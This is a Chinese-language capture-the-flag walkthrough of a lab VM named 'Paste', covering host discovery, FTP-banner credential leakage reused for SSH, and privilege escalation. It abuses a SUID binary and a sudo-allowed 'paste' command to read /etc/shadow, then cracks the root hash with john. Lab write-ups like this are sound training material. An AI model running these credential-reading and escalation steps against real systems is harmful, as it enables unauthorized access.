一、信息收集

1. 主机发现

首先，在内网环境中，我们使用 `arp-scan` 工具扫描本地网络，以发现存活的主机。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1   00:50:56:c0:00:08       VMware, Inc.
192.168.205.2   00:50:56:fc:94:2f       VMware, Inc.
192.168.205.193 08:00:27:6a:e7:aa       PCS Systemtechnik GmbH
192.168.205.254 00:50:56:fb:d6:c6       VMware, Inc.
...
```

扫描结果显示目标主机的 IP 地址为 `192.168.205.193`。

2. 端口与服务扫描

确定目标 IP 后，使用 `nmap` 对其进行端口扫描，探测其开放的端口和服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.193
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 23:24 EDT
Nmap scan report for 192.168.205.193
Host is up (0.00018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
```

扫描发现目标开放了三个常见服务端口：FTP (21), SSH (22) 和 HTTP (80)。

二、初始访问

1. FTP 信息泄露

我们首先尝试访问 FTP 服务，查看是否存在匿名访问或敏感信息。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ftp 192.168.205.193

Connected to 192.168.205.193.
220 220 Welcome to FTP Service Please use guest:guest to login
```

FTP 服务的欢迎信息直接泄露了一组登录凭据：`guest:guest`。我们使用该凭据登录。

```
Name (192.168.205.193:kali): guest
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
...
ftp> ls -la
...
dr-xr-xr-x    2 1001     1001         4096 Jul 13 05:12 .
...
ftp> mkdir test
550 Permission denied.
```

虽然成功登录，但 `guest` 用户权限极低，无法上传或创建任何文件。

2. SSH 登录

考虑到 FTP 和 SSH 服务同时开放，我们推测 `guest:guest` 这组凭据可能同样适用于 SSH 服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh guest@192.168.205.193
guest@192.168.205.193's password:
...
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 17 23:32:23 2025 from 192.168.205.128
guest@Paste:~$ id
uid=1001(guest) gid=1001(guest) groups=1001(guest)
```

尝试成功，我们通过 SSH 获得了目标系统的一个低权限 Shell。

三、权限提升

1. 提权至 `film` 用户

获得初始访问权限后，我们开始在系统中寻找提权的机会。首先，我们查找具有 SUID 权限位的特殊文件。

```
guest@Paste:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
...
/usr/bin/sudo
/usr/bin/passwd
/usr/local/bin/change
...
```

在结果中，`/usr/local/bin/change` 这个不寻常的 SUID 文件引起了我们的注意。我们使用 `strings` 命令来分析该二进制文件的内容，寻找线索。

```
guest@Paste:/opt$ strings /usr/local/bin/change
...
/var/www/html/password.log
Failed to open password file
...
chpasswd
Failed to execute chpasswd command
film
%s:%s
Password for %s successfully changed
...
```

从 `strings` 的输出中，我们得到了几个关键信息：

- 程序会读取 `/var/www/html/password.log` 文件。
- 程序会调用 `chpasswd` 命令。
- 程序中硬编码了用户名 `film`。

基于以上线索，我们推断：这个程序的功能是读取 `/var/www/html/password.log` 文件的内容，并将其设置为 `film` 用户的密码。

于是，我们直接查看该日志文件的内容：

```
guest@Paste:/opt$ cat /var/www/html/password.log
42956292
```

我们得到了 `film` 用户的密码 `42956292`。现在，我们切换到 `film` 用户。

```
guest@Paste:/opt$ su film
Password:
film@Paste:/opt$ id
uid=1002(film) gid=1002(film) groups=1002(film)
```

成功提权至 `film` 用户。

2. 提权至 `root`

成为 `film` 用户后，我们检查其 `sudo` 权限。

```
film@Paste:/opt$ sudo -l
...
User film may run the following commands on Paste:
    (ALL) NOPASSWD: /usr/bin/paste
```

结果显示，`film` 用户可以无需密码以 `root` 权限执行 `/usr/bin/paste` 命令。`paste` 命令通常用于合并文件行，但如果指定一个文件作为参数，它会直接输出该文件的内容。我们可以利用这一点来读取系统上的任意文件。

直接读取 root flag:

```
film@Paste:/opt$ sudo /usr/bin/paste /root/root.txt
flag{root-6ab2177cfaffa72807624d043ecb6c13}
```

我们成功读取了 `root.txt`。为了获得一个完整的 `root` shell，我们可以进一步利用这个漏洞。

获取 Root Shell:

1. 利用 `paste` 读取 `/etc/shadow` 文件，获取 `root` 用户的密码哈希。

   ```
   film@Paste:/opt$ sudo /usr/bin/paste /etc/shadow
   root:$6$jJev7FIbmMhP8iVA$p1.bGLOCx5BsAzgCrbp/FgF56k6HXPOQFb5pCaZzAJ1N7qOhZjT
   Jymyk9CMRbc8JGy5DXFl/BiwP9JEZ7o7mp0:20282:0:99999:7:::
   ...
   ```

2. 在我们的攻击机上，使用 `john` 和 `rockyou.txt` 字典来破解这个哈希。

   ```
   ┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
   └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
   ...
   sexybitch!       (root)
   ...
   Session completed.
   ```

   我们成功破解出 `root` 用户的密码为 `sexybitch!`。

3. 使用该密码切换到 `root` 用户。

```
film@Paste:/opt$ su -
Password:
root@Paste:~# id
uid=0(root) gid=0(root) groups=0(root)
```

至此，我们获得了完整的 `root` 权限。

3. 获取所有 Flag

最后，我们收集所有的 flag。

```
root@Paste:~# cat /root/root.txt
flag{root-6ab2177cfaffa72807624d043ecb6c13}

root@Paste:~# cat /home/film/user.txt
flag{user-f307bc02d0f7e60e52d128a0c27b8e34}```
```